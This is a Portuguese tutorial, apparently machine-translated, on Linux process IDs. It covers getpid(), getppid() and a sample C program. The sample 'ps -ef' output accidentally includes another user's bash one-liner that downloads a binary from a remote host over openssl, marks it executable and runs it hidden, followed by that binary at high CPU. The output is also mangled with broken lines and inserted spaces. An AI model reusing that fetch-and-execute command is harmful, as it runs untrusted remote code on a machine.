Processo de informação
Antes de entrarmos nas informações do processo, precisamos saber algumas coisas, como -
O que é um processo? Um processo é um programa em execução.
O que é um programa? Um programa é um arquivo que contém as informações de um processo e como construí-lo durante o tempo de execução. Quando você inicia a execução do programa, ele é carregado na RAM e começa a ser executado.
Cada processo é identificado com um número inteiro positivo exclusivo chamado de ID do processo ou simplesmente PID (número de identificação do processo). O kernel geralmente limita o ID do processo a 32767, que é configurável. Quando o ID do processo atinge esse limite, ele é redefinido novamente, após a faixa de processos do sistema. Os IDs de processo não utilizados desse contador são atribuídos a processos recém-criados.
A chamada de sistema getpid () retorna o ID do processo de chamada.
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
Essa chamada retorna o ID do processo do processo de chamada que é garantido como único. Essa chamada é sempre bem-sucedida e, portanto, nenhum valor de retorno para indicar um erro.
Cada processo tem seu ID exclusivo, denominado ID de processo, o que é bom, mas quem o criou? Como obter informações sobre seu criador? O processo de criação é chamado de processo pai. O ID do pai ou PPID pode ser obtido por meio da chamada getppid ().
A chamada de sistema getppid () retorna o PID pai do processo de chamada.
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
Esta chamada retorna o ID do processo pai do processo de chamada. Essa chamada é sempre bem-sucedida e, portanto, nenhum valor de retorno para indicar um erro.
Vamos entender isso com um exemplo simples.
A seguir está um programa para saber o PID e PPID do processo de chamada.
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
Na compilação e execução do programa acima, o seguinte será o resultado.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note- O sistema de função da biblioteca “C” () executa um comando shell. Os argumentos passados para system () são comandos executados no shell. No programa acima, o comando é “ps”, que fornece o status do processo.
As informações completas sobre todos os processos em execução e outras informações relacionadas ao sistema podem ser acessadas no sistema de arquivos proc disponível no local / proc.